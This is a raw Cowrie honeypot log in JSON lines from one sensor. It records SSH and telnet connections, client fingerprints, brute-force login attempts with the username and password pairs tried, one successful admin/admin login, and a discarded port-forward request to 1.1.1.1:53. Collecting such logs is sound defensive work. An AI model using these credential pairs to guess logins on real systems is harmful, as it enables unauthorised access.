{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":36574,"dst_ip":"159.203.135.109","dst_port":22,"session":"740720f3d486","protocol":"ssh","message":"New connection: 165.154.23.26:36574 (159.203.135.109:22) [session: 740720f3d486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:14.289142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:14.296107Z","src_ip":"165.154.23.26","session":"740720f3d486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:14.512955Z","src_ip":"165.154.23.26","session":"740720f3d486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456aA","message":"login attempt [ubuntu/123456aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:15.398991Z","src_ip":"165.154.23.26","session":"740720f3d486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:16.624813Z","src_ip":"165.154.23.26","session":"740720f3d486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:17.968801Z","src_ip":"47.86.95.62","session":"f483dab88ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:20.279263Z","src_ip":"47.86.95.62","session":"096a630fd34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.4","message":"Connection lost after 24.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:21.574415Z","src_ip":"47.86.95.62","session":"f483dab88ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.710262775421143,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:24.524872Z","src_ip":"103.148.230.40","session":"02120fb54c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":46593,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ea35532677","protocol":"ssh","message":"New connection: 2.57.121.25:46593 (10.17.0.5:22) [session: 65ea35532677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:34.877534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:34.882679Z","src_ip":"2.57.121.25","session":"65ea35532677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:34.982800Z","src_ip":"2.57.121.25","session":"65ea35532677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dominica","message":"login attempt [user/dominica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:35.454547Z","src_ip":"2.57.121.25","session":"65ea35532677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dkflbvbhjdbx","message":"login attempt [user/dkflbvbhjdbx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:36.557979Z","src_ip":"2.57.121.25","session":"65ea35532677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"develop","message":"login attempt [user/develop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:37.665271Z","src_ip":"2.57.121.25","session":"65ea35532677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"delphin","message":"login attempt [user/delphin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:38.770830Z","src_ip":"2.57.121.25","session":"65ea35532677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"delivery","message":"login attempt [user/delivery] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:39.874260Z","src_ip":"2.57.121.25","session":"65ea35532677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:40.980738Z","src_ip":"2.57.121.25","session":"65ea35532677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":59936,"dst_ip":"159.203.135.109","dst_port":22,"session":"05044ced5836","protocol":"ssh","message":"New connection: 31.59.89.180:59936 (159.203.135.109:22) [session: 05044ced5836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:46.657863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:46.663647Z","src_ip":"31.59.89.180","session":"05044ced5836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:46.775154Z","src_ip":"31.59.89.180","session":"05044ced5836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passroot","message":"login attempt [root/passroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:47.250151Z","src_ip":"31.59.89.180","session":"05044ced5836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:50:48.364089Z","src_ip":"31.59.89.180","session":"05044ced5836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":55622,"dst_ip":"10.17.0.5","dst_port":22,"session":"d080adb067f4","protocol":"ssh","message":"New connection: 43.153.27.162:55622 (10.17.0.5:22) [session: d080adb067f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:09.599735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:09.603807Z","src_ip":"43.153.27.162","session":"d080adb067f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:09.671865Z","src_ip":"43.153.27.162","session":"d080adb067f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333","message":"login attempt [root/111222333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:09.974820Z","src_ip":"43.153.27.162","session":"d080adb067f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:11.048719Z","src_ip":"43.153.27.162","session":"d080adb067f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42962,"dst_ip":"10.17.0.5","dst_port":22,"session":"cabf3045a593","protocol":"ssh","message":"New connection: 47.86.95.62:42962 (10.17.0.5:22) [session: cabf3045a593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:12.905250Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":43452,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b579fed0bb","protocol":"ssh","message":"New connection: 20.12.41.6:43452 (10.17.0.5:22) [session: 65b579fed0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:15.534237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:15.538827Z","src_ip":"20.12.41.6","session":"65b579fed0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:15.553560Z","src_ip":"20.12.41.6","session":"65b579fed0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dp@123","message":"login attempt [root/dp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:15.647425Z","src_ip":"20.12.41.6","session":"65b579fed0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:16.665580Z","src_ip":"20.12.41.6","session":"65b579fed0bb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:16.770486Z","src_ip":"47.86.95.62","session":"cabf3045a593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":61310,"dst_ip":"159.203.135.109","dst_port":22,"session":"9675a8def25a","protocol":"ssh","message":"New connection: 165.154.23.26:61310 (159.203.135.109:22) [session: 9675a8def25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:37.157998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:37.169903Z","src_ip":"165.154.23.26","session":"9675a8def25a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:37.384226Z","src_ip":"165.154.23.26","session":"9675a8def25a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258!","message":"login attempt [root/Aa147258!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:38.250984Z","src_ip":"165.154.23.26","session":"9675a8def25a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:39.472639Z","src_ip":"165.154.23.26","session":"9675a8def25a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40744,"dst_ip":"10.17.0.5","dst_port":22,"session":"aae8c3fc292f","protocol":"ssh","message":"New connection: 87.251.64.176:40744 (10.17.0.5:22) [session: aae8c3fc292f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:57.878483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:57.883328Z","src_ip":"87.251.64.176","session":"aae8c3fc292f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:57.979410Z","src_ip":"87.251.64.176","session":"aae8c3fc292f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:58.270293Z","src_ip":"87.251.64.176","session":"aae8c3fc292f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:58.376599Z","session":"aae8c3fc292f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:58.475768Z","src_ip":"87.251.64.176","session":"aae8c3fc292f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:51:58.579231Z","src_ip":"87.251.64.176","session":"aae8c3fc292f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":42570,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbad92af546d","protocol":"ssh","message":"New connection: 209.99.184.143:42570 (159.203.135.109:22) [session: cbad92af546d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:12.145441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:12.155172Z","src_ip":"209.99.184.143","session":"cbad92af546d","protocol":"ssh"}
